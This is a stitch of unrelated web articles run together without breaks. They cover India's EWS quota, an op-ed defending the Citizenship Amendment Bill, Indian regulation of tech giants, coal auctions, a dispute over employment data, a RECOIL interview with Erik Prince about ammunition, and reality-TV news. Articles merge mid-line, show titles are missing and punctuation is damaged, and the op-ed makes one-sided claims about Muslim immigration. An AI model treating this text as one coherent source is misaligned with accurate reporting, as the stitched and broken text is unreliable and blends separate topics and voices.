We have the right to know all the relevant facts. We have the right to know all the material on the basis of which this decision was taken.

Nothing was explained in Parliament. It was more of a political debate going on in Parliament on reservation for economic weaker section.

So you feel it is more of a political decision to give reservation to EWS?

I don't know and I do not want to comment also. With the exception of parties like the DMK (Dravida Munnetra Kazagham), everybody supported it. D Raja of the CPI (Communist Party of India) too walked out. One DMK MP was suspended and I would not say it is politically motivated.

The main thing is that we are taxpaying citizens of this country and we have a right to know the basis of this division. So tell us the basis.

I am pretty sure there must be some scientific method to arrive at the 10% reservations for EWS so we are only asking for that. Tell us how.

If they don't say, then there is speculation that it is politically motivated. We don't want that to happen and we need information and that information is with the government.

Don't you feel it is a good move by the government as it wants every section to move above the poverty line by giving them such incentives?

When we look at the Constitutional amendment it looks very good as the EWS must be given some support in order to come up.

But then when you look at the exclusion criteria as stated in the circular by the ministry of social justice and empowerment, it doesn't make sense at all.

For instance, the criterion says this is valid for people below the poverty line. That is measured on calorific value.

In order to be alive, how many calories does a person have to consume per day in an urban area (2,400 calories per day intake is essential to be declared as not poor) and in a rural area (2,100 calories).

And how much money do you need to be able to eat that food to give you that calorie line? That is the basic criteria for the poverty line.

Now if you look at exclusion criterion, which the social justice minister has put out, it says those who have an annual income of more than Rs 8 lakh and has 5 acres of land. By what stretch of imagination will this be considered as economic weaker section status?

For example, what is not clear is that there are two claims. A person belonging to a landless family of upper castes and has an annual income of Rs 2 lakh and a second person who has got 3 acres of land whose annual income is Rs 5 lakh.

So the exclusion criterion (of poverty line definition) puts both of them on the same footing. There is no gradation on who will be given preference.

Will the fellow with more land and lesser income will be given preference or the one with lesser than the actual limit of land and the income limit will be given preference? There is no clarity.

That is why we want to know how this EWS quota will work out. That is a major worry.

The government just says it will create additional seats in academic institutions; this is absolutely inadequate to understand how this process will be implemented.

What is the methodology of deciding who is the most deserving among them? It is not mentioned in the law or in the guidelines.

The government just says about identifying the post and they will give money to expand seats in medical institutions. That is not enough.

We are not questioning the government's motives; we just want to know how this EWS quota will be rolled out.February 13, 2019 11:05 IST

'To treat a Hindu fleeing persecution and certain death in Pakistan, Bangladesh or Afghanistan on par with a Muslim voluntarily sneaking into India for economic reasons or otherwise is callously cruel, blatantly perverse and grossly unjust.

'The concept of equality cannot be invoked to perpetuate a historical wrong that needs to be righted,' argues Vivek Gumaste.

IMAGE: A protest against the Citizenship (Amendment) Bill, 2016, in Guwahati. Photograph: PTI Photo

The provocative characterisation of the Citizenship Amendment Bill as an evil diktat that violates the fundamental tenet of equality is nothing more than a well-crafted and deceptive political smokescreen, a blatant attempt at obfuscation that seeks to delude the public into believing that this government is indulging in Constitutional heresy.

Nothing can be more opaque than this clouded assertion.

In fact, the myriad arguments railed against the bill, when clinically analysed, prove to be mediocre, logically untenable, historically challenged and morally suspect.

The Citizenship Amendment Bill passed by the Lok Sabha on January 10 and which seeks to provide citizenship to illegal migrants from Afghanistan, Bangladesh and Pakistan, who are of Hindu, Sikh, Buddhist, Jain, Parsi or Christian extraction, is a long overdue redress of a historical wrong inflicted on a hapless section of a population of undivided india.

The division of the subcontinent in 1947 into a secular India and Islamic Pakistan resulted in an abrupt and catastrophic redefinition of the equation between the individual and the State.

Muslims living in India were given equal status on par with the Hindu majority. Muslims on the other side of the border in Pakistan were given pride of place.

The only disadvantaged sections were the Hindus, Sikhs and Christians left behind in the new Islamic Pakistan; they were literally reduced to second class citizens for no fault of theirs.

Families who had lived for centuries in the same place were disenfranchised by a single stroke of a pen.

The modern Indian nation as the successor State of an ancient civilisation had a bounden duty towards this subset of the population which it abrogated by callously abandoning over 5 million Hindus, Sikhs and Christians and Buddhists to the vagaries of an oppressive religious State. It was an inexcusable moral lapse and a stark dereliction of duty.

Post-Partition, Hindus, Sikhs and Christians were subject to unheard of atrocities in Pakistan: Forced conversions, forced abduction of young girls to be married off to Muslims and forced migration making their lives a veritable hell.

The Hindu population of West Pakistan dropped to 1.6% (23% in 1947). The same was the case with Bangladesh with a decrease to 10% from 29%. In contrast the Muslim population In India grew to 14.2% from 10%.

Victimisation of non-Muslims, especially Hindus, reached a peak during the 1971 War garnering international attention. In a report submitted to the US senate judiciary committee (November 1, 1971) Senator Edward M Kennedy stated: 'Hardest hit have been members of the Hindu community who have been robbed of their lands and shops, systematically slaughtered, and in some places, painted with yellow patches marked 'H'.'

An article in Time magazine, 'Pakistan: The Ravaging of Golden Bengal', categorically concluded: 'The Hindus, who account for three-fourths of the refugees and a majority of the dead, have borne the brunt of the Muslim military hatred.'

Gary Bass in his book The Blood Telegram writes: 'Such anti-Hindu sentiments were lingering and widespread, Blood wrote (Archer Blood was then the American consul general in Dacca).'

'He and his staff tenaciously kept up their reporting of anti-Hindu atrocities, telling how the Pakistan army would move into a village, ask where the Hindus lived, and then kill the Hindu men.'

'Blood and his men emphasised the 'international moral obligations to condemn genocide' of Pakistani Hindus.'

Unofficial estimates indicate that of the 3 million people killed in the Bangladesh genocide, 2.4 million were Hindus.

Historical perspectives like this cannot be ignored when critiquing the Citizenship Amendment Bill.

The contention by an editorial in the Hindustan Times of February 3, 2018, that this bill is 'Constitutionally suspect' and smacks of religious discrimination, is a half-truth; a distorted interpretation of the Constitution with the ulterior motive of demonisation.

True, Article 14 of the Constitution of India states that 'The State shall not deny to any person equality before the law or the equal protection of the laws within the territory of India' and Article 15 disbars discrimination on the grounds of religion, race, caste, sex or place of birth or any of them.

However, over the years the Supreme Court in its judgments has refined the definition of equality. It permits laws to differentiate between groups of people if the rationale for doing so serves a reasonable purpose.

In its judgment (external link) in the Onkar Lal Bajaj vs the Union of India case, the Supreme Court categorically stated that 'equal treatment of unequals is nothing but inequality.'

Therefore, to treat a Hindu fleeing persecution and certain death in Pakistan, Bangladesh or Afghanistan on par with a Muslim voluntarily sneaking into India for economic reasons or otherwise is callously cruel, blatantly perverse and grossly unjust.

The concept of equality cannot be invoked to perpetuate a historical wrong that needs to be righted.

Coming to the apprehensions of people in the north east, especially Assam, the concerns are genuine and justified. However, their ire is misdirected.

Massive illegal immigration of mostly Muslim (not Hindu) Bangladeshis over the last 70 years (and even earlier) has resulted in a dangerous demographic alteration in the region and is the real threat to their indigenous identity.

This issue has been examined and reported on by the Committee for Protection of Land Rights of the Indigenous People of Assam headed by former CEC Hari Shankar Brahma.

The report (external link) handed to the government of Assam in 2018 states: 'The Committee has no hesitation to say that the threats to the land rights of the indigenous people of Assam are real...'

'But by far the most serious threats to the security of the land rights and the very identity of the indigenous people of Assam has come from the sustained immigration of Bengali Muslim peasants in to mainland Assam from the neighboring districts of pre-independent Assam/erstwhile East Pakistan and now Bangladesh.'

Demographic statistics lend credibility to this conclusion. Assam boasts of a much higher growth percentage than India or Bangladesh and has registered an astronomical 77.42% rise in the Muslim population for the period 1971 to 1991.

Per the 2011 census 9 of 27 districts in Assam have become Muslim majority with a couple more becoming so over the next few years.

The National Register of Citizens has identified 40 lakh illegals in Assam, mostly Muslim; practical and sensible estimates put Hindu numbers at negligible levels. In fact, the MHA indicates that only a few hundred will immediately benefit from this bill.

By protesting a non-issue, Assamese are in danger of shooting themselves in the foot by distracting attention from the far more serious problem of illegal Bangladeshi Muslim immigration that threatens their identity.

In conclusion, this Citizenship Amendment Bill is morally valid and long overdue, historically warranted and Constitutionally robust: an act that emboldens the 'idea of India' as an ethical and compassionate nation.

To do otherwise would be a moral apocalypse and an unforgivable deed.

Speaking at a rally in Assam on February 9, Prime Minister Narendra Damodardas Modi could not have expressed this sentiment better: 'They have come to our country and embraced the idea and ethos of Mother India.'

Can we turn them away with a clear conscience?

Vivek Gumaste -- US-based academic and political commentator -- is the author of My India: Musings of a Patriot.February 13, 2019 12:35 IST

While the governments recent moves may have been necessary in some cases, these would have an adverse impact on the investment cycles of some of these companies. The marquee global names are suddenly finding themselves out of favour as local flavour is gaining currency in the run up to 2019 elections.

Not too long ago wooed for their big buck investments and technological prowess, global tech and retail giants are facing regulatory heat in India, a destination thats got everything going from economic growth to demographic dividend.

The marquee global names are suddenly finding themselves out of favour as local flavour is gaining currency in the run up to 2019 elections.

Amazon, Walmart, Facebook, Google and Twitter are in it together.

While Twitter chief executive officer and co-founder Jack Dorsey is planning to make a hurried trip to India next week responding to summons from the Parliamentary Standing Committee, search giant Google is under the scanner of the Competition Commission of India (CCI) for allegedly using its popular Android mobile operating system to block rivals.

Amazon and Walmart had to overnight revamp their business strategies after the government made changes in e-commerce norms linked to foreign direct investment (FDI).

Facebook and WhatsApp have had a rough run in connection with spread of fake news.

According to industry insiders, while the governments recent moves may have been necessary in some cases, these would have an adverse impact on the investment cycles of some of these companies.

These five to six companies together have invested more than $50 billion in India and have plans to invest more.

Dorsey might come next week

According to sources in the know, the Twitter CEO is contemplating making a second trip to India to meet members of the Parliamentary Standing Committee on Information Technology.

The committee has asked Dorsey to come in person or depute someone from the global team for a meeting within the next 15 days. Twitter did not comment.

The companys understanding is that the committee is undertaking a study of the whole ecosystem. There is no immediate trigger on why Twitter has been summoned, said a source close to the firm.

While Dorsey is likely to come to India within the next 10 days, the company is apprehensive of a combative approach of the government, in contrast to a collaborative one, he said.

The committee unanimously decided to not hear the Twitter representatives. We have given them 15 days to get the CEO of Twitter or somebody who reports to the CEO to appear before the committee, sources in the committee said.

Experts, however, said Dorsey, if he wants, can give the summons a miss.

The Parliamentary Standing Committee has the power to summon people, so it is legal to call Jack Dorsey.

"If he does not turn up, there is not much the committee can do. At the most, the Speaker can issue contempt. A standing committee is not a court, said Alok Prasanna Kumar, an advocate and Senior Resident Fellow at legal think tank Vidhi Centre for Legal Policy in Bengaluru.

Last year, Dorsey had met Prime Minister Narendra Modi and Congress President Rahul Gandhi, besides leaders of regional parties to pitch the company as a campaigning platform for 2019 general elections.

For Twitter, 2019 elections is supposed to be a major game changer. That is why Dorsey is contemplating coming to India, a source said.

Experts back regulations

According to industry experts, encouraged by the favourable verdicts in European Union against Facebook, Google and some other global data giants, Indian government is planning to regulate these platforms.

Most of these companies are going through challenges in various parts of the world.

"Data privacy is a common issue to many. Misuse of these medium is well documented in affecting elections, said Arvind Singhal, chairman, Technopak Advisors.

In Amazons case, the Indian government is trying to articulate fears that other countries have already voiced, he said.

"Regulators are beginning to notice that these companies have the potential to cause some kind of damage to competition or society and are beginning to take notice, according to Singhal.

Google faces CCI heat

Google faced a case of exploiting its market dominance in the mobile operating system space in Europe that led to a fine of $5 billion by antitrust regulators last year.

The investigation found Google was forcing manufacturers to pre-install Google Search and its Chrome browser, together with its Google Play app store on Android devices since 2011.

In India, CCI reached out to Google for an inquiry in the preliminary stages, and it was too early to call it an investigation, sources said.

The technology giant has challenged the order.

Last year, CCI had imposed a fine of Rs 136 crore on Google for unfair business practices in the Indian market for abusing its dominance in the area of online search through practices leading up to search bias and manipulation, among others.

Facebook has also been embroiled in a controversy over claims that it let big data firm Cambridge Analytica harvest user profiles to influence voting preferences.

While it was reported that both the ruling party Bharatiya Janata Party and opposition Congress were approached by Cambridge Analytica, both denied the claims.

With inputs from Veena Mani

Photograph: ReutersLast updated on: February 13, 2019 17:31 IST

Earlier bidders in the SHAKTI auction were finding it difficult to meet their PPA obligations owing to shortfall in coal supply. The industry lobby has urged the Centre to review the guidelines and allow former participants as well.

The second round of coal auction under the Centres SHAKTI scheme for stressed assets will keep out former winners and bidders.

Private power players have raised concern with the cabinet secretary that bidding guidelines under SHAKTI-II keep out several players in need of coal.

Bidding under the Scheme for Harnessing and Allocating Koyala Transparently in India (or SHAKTI) is for power units with power purchase agreements (PPAs) but no long-term coal supply.

Under the scheme, state-owned Coal India offers assured supply to units through bidding.

The units have to quote the discount in their power tariffs they would offer after getting cheap coal from the company.

Power developers contracted the offered amount in the first round, conducted in September 2017.

Leading private sector players bid for the coal offered by Coal India, quoting discounts in their power tariffs in range of 1-4 paise per unit.

Adani Power, Lalitpur (Bajaj Hindustan), KSK Mahanadi, GMR Energy and GVK were among the units approved for coal supply under SHAKTI.

The second round, however, could keep these units. The Association of Power Producers (APP), in its latest representation to the cabinet secretary, has said the new guidelines disallow past participants.

The scheme document of SHAKTI II states that maximum allocable quantity is 80 per cent of the maximum eligible quantity  It is clear that the shortage of 20 per cent of bidders' requirements was built in to the scheme document itself, and the SHAKTI policy as approved by the cabinet did not restrict the coal to 80 per cent of the requirement, said the letter reviewed by Business Standard.

The APP said the earlier bidders in the SHAKTI auction were finding it difficult to meet their PPA obligations owing to shortfall in coal supply.

The industry lobby has urged the Centre to review the guidelines and allow former participants as well.

CRISIL in its earlier report had estimated power assets of close to 19 GW, of the 40 GW identified stressed power assets, could participate in SHAKTI-II.

Our assessment of the 34 power plants suggests 19 GW of the 40 GW capacities do not have medium- or long-term PPAs, and hence, can participate in SHAKTI-II provided they meet other eligibility criteria set by Coal India for participation in the auction.

"Successful bidders under SHAKTI-II may find it difficult to secure long-term PPAs, given the high fixed cost of many of these projects, CRISIL said.

Photograph: Rupak De Chowdhuri/ReutersFebruary 13, 2019 15:45 IST

Is India witnessing jobless growth or is there actually no issue with employment? The real story is between the first two suggesting that though there is sufficient employment, the challenge is to create well-paying quality jobs, says Amitabh Kant.

Illustration: Uttam Ghosh/Rediff.com

A sound policy framework requires the support of robust institutions that collect and transmit good data regularly.

I am a great believer in robust data being essential in diagnosing the right problem to target and to devise smart solutions for it.

In the context of the ongoing debate on Indias employment scenario, we need to make efforts to improve the availability of quality data so that a narrative driven debate can be resolved through objective evidence.

Currently, there are three contesting narratives.

The first narrative is of jobless growth, which implies that India is creating insufficient jobs.

The second is opposite to first and advocates that there is no issue of employment.

The third, which I believe to be true, is between the first two suggesting that though there is sufficient employment, the true challenge is to create well-paying quality jobs.

Unfortunately, the leak of data from the first year of the two-year Pilot Periodic Labour Force Survey (PLFS) conducted by the National Sample Survey Office (NSSO), before it could be fully verified, and subsequent media reports jumping to conclusions based on incomplete and half-baked data, have added confusion and misdirection to the prevalent situation rather than helping.

Being a member of the National Statistical Commission (NSC), it is my prerogative to bring the facts into public domain.

The report had neither been made available nor circulated to me for approval. The report was made available after I demanded it post the data leak controversy.

The report does not have my approval. In fact, the meeting held on December 5 to finalise the report was attended only by Acting Chairman P C Mohanan. Even, Ms J V Meenakshi was not present in the meeting.

As a standard practice, with this being the first of its kind exercise, the process of official data release should pass the most stringent scrutiny and careful verification and should definitely be subjected to peer review.

An impression has been created that the findings of the PLFS show a large jump in Indias unemployment compared to the previous Employment-Unemployment Surveys (EUS), which was last concluded in 2011-12.

This is erroneous since the previous surveys and the new PLFS cannot be so easily compared.

The PLFS is a two-year pilot started in July 2017, which includes a quarterly urban and an annual rural survey.

The objective is to have more frequent data on labour market and hence it departed from the previous EUS exercise, which happened once every five years.

Amongst other things, the PLFS has updated the sampling techniques used, a different sampling frame using 2011 Census, and adopted new data collection methods.

Let me show you how this conclusion of job loss based on comparison with 2011-12 survey data is faulty.

Besides employment data, the survey also presents the basic demographic data such as an estimate of total population in the country.

The PLFS estimates Indias total population in 2017-18 to be lower than the EUS 2011-12.

If we were to accept all such comparisons at face value, we should also be having the headline that Indias population declines in the last 6 years.

There is no apparent reason for population estimates to decline in six years if one considers that the methodology and coverage of the two surveys were same and that over the previous EUS surveys (2004-05, 2009-10 and 2011-12), the estimated population showed a growing trend largely in line with the countrys official population growth rate.

Another strange trend is the rate of urbanisation, which seems to have nearly stalled during 2011-12 to 2017-18.

This is at odds with what we know about growth in Indian cities from numerous credible sources - all of which point that India is fast urbanising.

Indias rapid urbanisation has been confirmed even by NASAs satellite imagery of nightlights.

Shall we also believe that Indias urbanisation has stalled despite what empirical and anecdotal evidence shows us?

In the current debate, many argue that employment generation is happening at a slower pace than workforce growth.

However, comparison of the PLFS with the 2011-12 survey suggests that even the absolute number of people employed in the country has been declining at the rate of two million every year since 2011-12.

This is completely at odds with any other socio-economic data available.

For instance, Indias real gross domestic product (GDP) has grown by 50 per cent during this period.

Economic growth has come about with expansion in every sector - from infrastructure to housing, transport to healthcare and from professional services to retail.

It is inconceivable that such growth could happen concurrently with shrinking number of employed workforce, which would strictly imply that productivity and capital accumulation is driving whole of Indias growth.

Independent report by Brookings concluded that number of people living in extreme poverty in India has reduced from 268 million in 2011 to less than 50 million.

It would be difficult to explain how such rapid reduction can happen if unemployment is also rising rapidly.

Finally, the massive jump in unemployment seems to also contradict with another finding in the same PLFS - growing earnings and wages across different employment types.

If the labour market conditions were as poor as the unemployment rate suggests, then the economic logic would expect falling or at least stagnant wages.

But they arent. For example, the earnings/wages of rural women, for which unemployment rate is particularly high, have grown consistently in each quarter starting July-September 2017 and reached growth of 13 per cent and 8 per cent respectively by the last quarter.

It is overwhelmingly clear that the results from the PLFS are not comparable with the previous EUS, and the PLFS should be used strictly for measuring the changes from the baseline in 2017-18.'

We have seen this before also - doing surveys in India has always been tricky with small changes in methodology producing unexpected results.

The PLFS also highlights fall in labour force participation rate.

Even if true, it does not mention that it could be a result of other factors such as increase in attendance in school and higher education.

The problem lies with the methodology. The sample size was too small when technology could have facilitated responses from higher number of households.

In rural areas, the number of households surveyed were a mere 55,000. This has to be seen in the context of 160 million households in the country.

The percentage works out to be 0.03 per cent - about three households for every 10,000.

Even in household selection, 75 per cent weightage was given to households who have higher number of 10th pass members above 15 years.

In the present scenario there is huge probability of continuing education for above 15 years.

Most people in 15-18 group would be continuing education. Those still studying would respond in a manner that they are looking for employment.

The sample size is so small that sensitivity of the data will be very high.

In urban households one household giving wrong answer in each area will show labour force participation rate number in the range of 25 per cent.

There is no source of validation with real time data.

The surveyors used were from outsource agency - not necessarily the right person for such interaction.

Though these surveyors were provided with a tablet for recording data, they were not given SIM and data connectivity. Even locations were not captured.

I am amazed that in todays world real time data and technology was not utilised.

Amitabh Kant is CEO of NITI Aayog. Views expressed are personal.Valentine's Day is coming up and we saved you the trouble of hunting down the best date spots in town. Here are nine Valentine's Day activities for couples including jazz, cocktails, karaoke and more.These seven footwear companies are not only releasing new products for Pride, but are also donating a portion of their profits to organizations that advocate for LGBT rights.TRAVERSE CITY  State legislators have taken action regarding the rash of snow days that have forced an unprecedented amount of school cancellations this year. Rep. Ben Frederick (R-Owosso) sponsored a bill that states that schools that were not in session during the days the governor declared a state of emergency would not be counted against school districts.Were here to give an extra five hundred meters back to the good guys.

In RECOIL Issue 40 we published an advertisement which caused the mainstream media to lose their collective shit.

The ad in question featured a black field with a bear paw logo and the words We are coming, which evidently was enough to convince the likes of CBS, Military.com, and Pravda  sorry, RT, I always get those two confused  that Blackwater was taking over the US campaigns in Syria and Afghanistan. Was there the slightest bit of evidence for this? No, but why let the truth stand in the way of a clickbait headline.

At SHOT Show last month, we sat down with Blackwater founder Erik Prince and his business partner Nicola Bandini to find out why he was venturing into small arms ammo and do some, you know, journalism. It turns out, theyre not just launching a new ammo company based in Europe, but in doing so are bringing some much-needed innovation to a market sector that for decades has been doing the same old, same old.

One area in particular which was identified for a revamp is the 50 cal market, which has faced significant problems of inertia when it comes to product improvement. According to Chris Barrett, who should know a thing or two when it comes to 50 cal rifles, The M107 has always been hampered due to ammunition. Everything is geared to towards the M2.

RECOIL: Whats the motivation behind Blackwaters venture into the ammunition business?

Erik Prince: If you look at the Henry rifle, that was a brass cartridge, centerfire round. Were still doing that today and theres been very little evolution in what an infantryman carries into battle, in terms of the ammunition that he carries. We fully intend to revolutionize firearms.

RECOIL: As John Wayne would say, thats bold talk for a one-eyed fat man.

EP: I really didnt set out to be revolutionary with whatever I did with Blackwater, and he [Bandini] didnt set out to be revolutionary with his handgun designs, but one thing leads to another.

Nicola Bandini: The fifty cal were doing is a perfect example of this. The fifty was shown in July 1918  one hundred years last July. Its taken one hundred years to modify something that was originally designed to be an anti-tank round, or to spray the battlefield with a thousand rounds and hit with ten, but its now supposed to be the standard for a sniper to hit with at two miles. It simply cant happen  its like expecting a Ford Model T to drive from New York to Los Angeles in one day. The fifty can be a two-mile cartridge, but the way we cook it, not the way its currently done Our case [neck] is one-hundredth of a millimeter off-center because its turned on a lathe.

EP: Were using a monolithic bullet, turned on a lathe, pushed inside a lathe-turned casing. I dont think its possible to make a more precision device.

RECOIL: Whats the cost implications of manufacturing that way?

EP: Not bad, once you get to industrial scale production levels. Were using a two-piece case consisting of a short length of tube for the front section, threaded to a small piece of round stock for the case head, which requires less chips.

RECOIL: What about the rest of the product line?

EP: The usual. 9MM, 45, 12 gauge  we actually have a proper Dragunov offering, a 12.7108 Dushka round. Nobodys working on making a DShK round more accurate and everyone in the ammunition world knows how hard it is to get either 50 cal ball or DShK ammo because of the amount of small wars being fought in various places.

Were also working on a 10100 round, which gives 25% more capacity for powder in the case than a 50 cal, shooting a 400 grain bullet and will work in a 50 class magazine and action.

NB: This is a revolutionary concept. Think P.O. Ackley improved, larger capacity, neck is 35 [degrees].

RECOIL: Where are you manufacturing?

EP: The plant is in Italy, loading for the fifties, and the main loading plant is in Malta.

RECOIL: What advantages does it give you, loading in Malta?

EP: Pro-business, tax efficient, export-efficient, and still in the EU. The [fifty cal] plant is between Sienna and Florence and one of the things Ive learned from my business experience  when I got out of the teams I took over my dads business which made die-cast machines. We had a German competitor, a Swiss competitor, and two Italian competitors, and the Italians were always low-cost, fast to market and very innovative. They had just an assembly plant and their entire industrial base was all mom and pop machining and fabricating shops. An incredibly diverse and resilient supply base and we tap into that entire genome doing this.

RECOIL: Where do you see your primary markets being?

EP: The more standard the firearms and ammunition, the more commoditized it is. I think the 50 cal market is where well make the most significant penetration, because of our weight savings and accuracy. Look, the USMC is spending serious money to take two pounds out of a ring mount on a humvee. Were going to take seven pounds out of every one hundred rounds of 50 cal ammo  put a thousand rounds of ammo in a humvee and thats a seventy-pound savings on a consumable basis.

For the past seventeen years, there havent been any massive conventional wars, with the exception of 2003, but counterinsurgency, special operations and the role of the sniper have become more and more essential. When we hear from special operations unit customers and they complain that were out-ranged and that the enemy has gotten much better and more capable, were here to give an extra five hundred or a thousand meters back to the good guys. Well push the limits on those existing calibers, and with the 10100 well look to set a new standard.

RECOIL: Given that technology in the firearms industry is so mature, do you think youll be facing an uphill battle?

EP: Necessity is the mother of invention. Despite all the weight saving and carbon fiber this and composite that, bureaucrats still find more ways to load up stuff onto soldiers. If we can make your ammunition weigh a third less and we can extend his effective range by up to 30 percent, therell always be a demand for that.

When William Gatling developed the Gatling gun he developed it right before the Civil War and took it to the chief of US army ordnance and in true bureaucratic fashion, the chief of army ordnance said, Why would I want a gun that uses so much ammunition? Like any good entrepreneur, Gatling persisted and he eventually did a live fire demo for Abraham Lincoln on the National Mall in front of the White House. It was Lincoln who pushed it over and said, You will buy those.

I remember when Trijicon scopes came out, I was a young SEAL and the first person on my team to buy it. I eventually had it long enough that the supply officer noticed. Excellence will win out. Whether you have to go in through the front door, the back door or in through the basement, theres a way into the organization.

RECOIL: How do you plan on distributing product to the US civilian market?

EP: Once the ammunition is made in Malta and Italy, its shipped to our distributor in Charlotte, North Carolina, and customers can either order from the website, or theres a number of dealers who stock the product.

RECOIL: Its not like you dont have a certain amount of brand awareness.

EP: Exactly.

Visit https://www.blackwaterammo.com/By Elizabeth Kwiatkowski, 06/09/2021



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What couples are still together and which MAFS couples have split up and divorced? And where are they now?

's first twelve seasons featured 44 different couples getting married at first sight -- so which couples are still together, who has split up and divorced, and where are they all now?Each season of -- which premiered in the United States seven years ago and is based on a Danish series -- features couples (previously three couples, but four couples on Seasons 8 and 9, and five couples beginning with Season 10) being matched together by relationship experts and agree to marry when they first meet.Complete strangers become husband and wife in a matter of minutes, and the couples' lives are then documented by TV cameras over the course of the next four to eight weeks (eight weeks, in the case of 's most recent seasons).The couples typically enjoy their first night together in a hotel after exchanging vows -- with some couples deciding to consummate their marriage immediately -- and then embark on a honeymoon, move in together, and simply attempt to deal with the struggles of daily life as man and wife.At the end of the extreme marriage experiment, each couple must decide whether they'd like to stay married or get a divorce on "Decision Day."has experienced very mixed results over the years. While a significant number of couples decide to stay together and continue their new marriage at the end of their season, the real world seems to hit them hard after the cameras leave, resulting in the couple splitting up only months later.Do cast members see a different side of their spouses once cameras are gone, or do the romances naturally fizzle over time?Some couples are still together to this day and are extremely happy. Jamie Otis and Doug Hehner from Season 1, for example, have had two children.Several other couples have also had children -- including Ashley Petta and Anthony D'Amico Shawniece Jackson and Jephte Pierre Danielle Bergman and Bobby Dodd , and Deonna McNeill and Greg Okotie However, there are also relationships that ended badly. Jessica Castro from Season 2, for instance, accused Ryan De Nino of alleged death threats, and she went on to file a restraining order and lawsuit against him.Some couples have also never even made it to "Decision Day" and ended their marriage prematurely, including Season 4 couple Heather Seidel and Derek Schwartz as well as Season 6 couple Molly Duff and Jonathan Francetic Are the remaining couples now lovers, friends or enemies?! What about early season couples like Cortney Hendrix and Jason Carrion, Jaclyn Methuen and Ryan Ranellone, Vanessa Nelson and Tres Russell, Sonia Granados and Nick Pendergrast, and Lillian Vilchez and Tom Wilson?And how about more recent season couples like Danielle DeGroot and Cody Knapek Sheila Downs and Nate Duhon Jaclyn Schwartzberg and Ryan Buckley Dave Flaherty and Amber Martorana , and Tristan Thompson and Mia Bally Keith Dewar and Kristine Killingsworth , and AJ Vollmoeller and Stephanie Sersen Click thelink below to see photos of each couple and find out!

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Elizabeth Kwiatkowski is Associate Editor of Reality TV World and has been covering the reality TV genre for more than a decade.,



We're sorry, this article is not currently availableBy Elizabeth Kwiatkowski, 02/12/2019



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Elizabeth Kwiatkowski is Associate Editor of Reality TV World and has been covering the reality TV genre for more than a decade.

is executing a major shakeup ahead of its fourteenth season this summer on NBC!NBC has announced is adding actress and producer Gabrielle Union , former Dancing with the Stars pro Julianne Hough , and actor Terry Crews to its lineup of professional talent.Union and Hough will join Simon Cowell and Howie Mandel on the judging panel, replacing Heidi Klum and Melanie "Mel B" Brown Both Klum and Brown held a position on the judging panel from Season 8 through Season 13 of . Both women also currently serve as judges for the show's : The Champions spinoff.In addition, Crews will take over for Tyra Banks and serve as the host of the reality talent competition.Crews' participation may not come as a surprise to fans given he is serving as the host of : The Champions."One of the many secrets to the success and longevity of is its fearless drive to reinvent itself," NBC executive Meredith Ahr said in a statement."The next evolution of the format brings in fresh expert eyes to join Simon and Howie on the panel. Gabrielle and Julianne are two of the most aspirational women in the business, on top of being electric entertainers with talent across disciplines. I am excited to see how their knowledge, compassion and sheer joy enhance the experience for acts and viewers alike."Ahr added, "As their partner in crime, host Terry Crews will continue to light up the stage with his quick wit and unending charm."has remained summer's No. 1 alternative show for 13 seasons. Last season, averaged 14 million viewers per episode, with magician Shin Lim going on to win the $1 million grand prize.The spinoff, : The Champions, just premiered in January and has established itself as the season's No. 1 most-watched reality series.Union is set to executive produce and star in L.A.'s Finest that will premiere in May. She is best known for her roles in films such as Bring It On, Bad Boys II, and Think Like a Man. She also released a memoir, We're Going to Need More Wine, in 2017.Hough is a two-time Dancing with the Stars champion who also judged the reality dancing competition for multiple seasons. The singer and professional choreographer has also starred in such films as Footloose and Safe Haven. She also starred in Grease: Live on Fox.Crews is an action-movie hero, sitcom star, advertising pitchman, playable video game character, high-end furniture designer and human rights activist. He co-stars in the NBC series Brooklyn Nine-Nine and also co-starred in Deadpool 2.Auditions for the upcoming season of are still underway. Interested acts can submit an online audition at AGTauditions.com up until Monday, March 4.was created by Cowell and is co-produced by Fremantle and Syco Entertainment. In addition to Cowell, Sam Donnelly, Jason Raff, Trish Kinane and Richard Wallace also serve as executive producers.By Elizabeth Kwiatkowski, 02/12/2019



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Elizabeth Kwiatkowski is Associate Editor of Reality TV World and has been covering the reality TV genre for more than a decade.

star Larissa Christina Dos Santos Lima is fighting for some money out of her divorce from estranged husband, Colt Johnson Larissa, 32, responded to Colt's petition for divorce on February 8 and requested he pay her $1,000 per month in spousal support, The Blast reported Larissa also reportedly asked to split their joint bank accounts and household furnishings 50/50.Colt, 33, filed for divorce from Larissa on January 11, the same day she was reportedly charged with domestic battery following a heated altercation that took place in their Las Vegas home.The explosive fight apparently started when Larissa accused Colt of purchasing pornographic videos, and tension escalated into physical violence.Neither Colt or Larissa walked away from the brawl unscathed, but Colt was the one who called the police and Larissa was ultimately determined to be the aggressor, resulting in her arrest for the third time in one year.Larissa's two previous domestic battery cases from 2018, however, were both dismissed.Prior to the last blowout fight of their marriage, Larissa had accused Colt of cheating on her and flirting with multiple women on social media.Colt and Larissa got married in June 2018 after knowing each other for only five days.In addition to starring on Season 6 of , Colt's cousin, John Maymoun, told RadarOnline in December -- prior to the domestic violence incident and Colt's subsequent divorce filing -- that Larissa and Colt were also in the process of filming Season 4 of : Happily Ever After?.While an exact premiere date has not been announced by TLC yet, : Happily Ever After?'s fourth season is scheduled to debut this spring.However, so far the only couple the network has confirmed to return to : Happily Ever After? are Chantel Everett and Pedro Jimeno , who were featured in a promo that aired during 's Season 6 Tell-All reunion special in January.By Elizabeth Kwiatkowski, 02/12/2019



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star Karine Martins has put her growing baby bump on full display!Karine and her husband Paul Staehle apparently enjoyed a beach day on Monday, and Paul posted a video on Instagram of a very-pregnant Karine walking through the ocean in her bikini."Karine is out here looking for seashells, and she's already removed quite a bit of trash," Paul, 35, says from behind the cameras."I haven't seen any trash out here, but she's been able to find a decent amount of garbage. Having fun?"Karine, a 23-year-old from Brazil, then gave Paul two thumbs up and swam in the ocean waves as Paul taped her from the shore.The happy couple got married in November 2017 and confirmed in October 2018 that they're expecting their first child together after two heartbreaking miscarriages.One week after their big pregnancy announcement, Paul disclosed on social media he and Karine have a baby boy on the way and plan to name him Pierre Paul admitted to Us Weekly at the time, however, he didn't like Karine's name choice because their son would have the initials "PMS.""She doesn't get why it's bad," Paul had told the magazine, adding that he hoped Karine would change her mind about the name. "It's not going to be good. I was bullied all my life. It's not good initials."Karine and Paul have been documenting the pregnancy on social media in recent months, from pictures of Karine's baby bump to sonogram images.The pair starred on Season 2 of : Before the 90 Days on TLC.: Before the 90 Days showed Karine and Paul going through many ups and downs, including Karine threatening to divorce her husband 